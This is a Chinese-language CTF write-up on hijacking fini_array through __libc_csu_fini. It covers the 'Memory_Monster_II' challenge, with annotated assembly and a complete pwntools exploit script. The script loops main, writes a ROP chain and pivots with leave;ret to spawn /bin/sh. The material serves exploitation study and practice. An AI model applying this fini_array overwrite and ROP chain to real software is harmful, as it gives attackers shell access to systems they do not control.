知识点

程序的入口并不是main,而是libc_start_main,程序运行流程图如下:

  • __libc_csu_init
  • main
  • __libc_csu_fini
  • fini_array[1]
  • fini_array[0]

libc_start_main函数原型

1
__libc_start_main(main,argc,argv&env,_libc_csu_init,_libc_csu_fini,rtld_fini)

_libc_csu_init,_libc_csu_fini在代码段,可见是函数

下面是_libc_csu_fini函数的汇编实现,我们来分析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
push    rbp #将rbp的值压入栈
lea rax, unk_4B80C0 #将unk_4B80C0的地址(0x4B80C0)放入rax寄存器
lea rbp, off_4B80B0 #将off_4B80B0的地址(0x4B80B0)放入rbp寄存器

push rbx
sub rax, rbp #rax=rax-rbp=0x10
sub rsp, 8
sar rax, 3 #rax中的值算数右移3位,rax的值为2
jz short loc_402CE6 #JZ,ZF标志位=1跳转

lea rbx, [rax-1] #将rax-1的值即1赋给rbx
nop dword ptr [rax+00000000h]


loc_402CD8:
call qword ptr [rbp+rbx*8+0] #call [rbp+8]

sub rbx, 1 #rbx=0
cmp rbx, 0FFFFFFFFFFFFFFFFh
jnz short loc_402CD8 #zf不为0,跳转loc_402CD8继续执行call [rbp]


loc_402CE6:
add rsp, 8
pop rbx
pop rbp
jmp _term_proc

可以看到,调用fini函数时,会先call fini_array[1],再call fini_array[0],所以我们可以修改fini_array中的值来控制程序的执行,例如将fini_array[1]中的值修改为main, fini_array[0]中的值修改为_libc_csu_fini,这样的执行流程如下图所示

fini_array

实例

Memory_Monster_II

IDA逆向,静态编译去符号表

找到start函数反编译,start函数里有libc_start_main函数,其参数含有main,_libc_csu_init,_libc_csu_fini

有canary,所以我们不能直接溢出

fini_array1

如图,箭头所指有任意地址写,我们可以根据上述方法修改fini_array使其无限写,在某一地址布置好rop链后,将fini_array[1]改为ret,fini_array[0]改为leave ret,即可退出循环执行rop链

这里就有一个问题,leave ret后如何接上rop链,这里我们可以看到fini_array[0]处的指令相当于

1
2
3
mov rsp,rbp 
pop rbp
pop rip

我们只需让rop链的开始填到pop rip的位置,fini_array[0]的地址是0x4B80B0,所以写入的位置应为0x4B80C0
wp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
p = process('./Memory_Monster_II')
#gdb.attach(p)
#pause()
fini_array=0x4B80B0
main=0x401C1D
libc_csu_fini=0x402CB0
fini_array_0x10=0x4B80C0
pop_rax_ret=0x448fcc
pop_rdi_ret=0x401746
pop_rsi_ret=0x406f80
pop_rdx_ret=0x448415
syscall=0x402514
leave_ret=0x401cf3
binsh=0x4B8108
ret=0x401016

p.recv()
payload1=p64(fini_array)
p.send(payload1)
p.recv()
payload2=p64(libc_csu_fini)+p64(main)
p.send(payload2)
p.recv()
p.send(p64(fini_array_0x10))
p.recv()
p.send(p64(pop_rax_ret)+p64(0x3b))
p.recv()
p.send(p64(fini_array_0x10+0x10))
p.recv()
p.send(p64(pop_rdi_ret)+p64(0x4B8108))
p.recv()
p.send(p64(fini_array_0x10+0x20))
p.recv()
p.send(p64(pop_rsi_ret)+p64(0))
p.recv()
p.send(p64(fini_array_0x10+0x30))
p.recv()
p.send(p64(pop_rdx_ret)+p64(0))
p.recv()
p.send(p64(fini_array_0x10+0x40))
p.recv()
p.send(p64(syscall)+b'/bin/sh\x00')
p.recv()
p.send(p64(fini_array))
p.recv()
p.send(p64(leave_ret)+p64(ret))
p.interactive()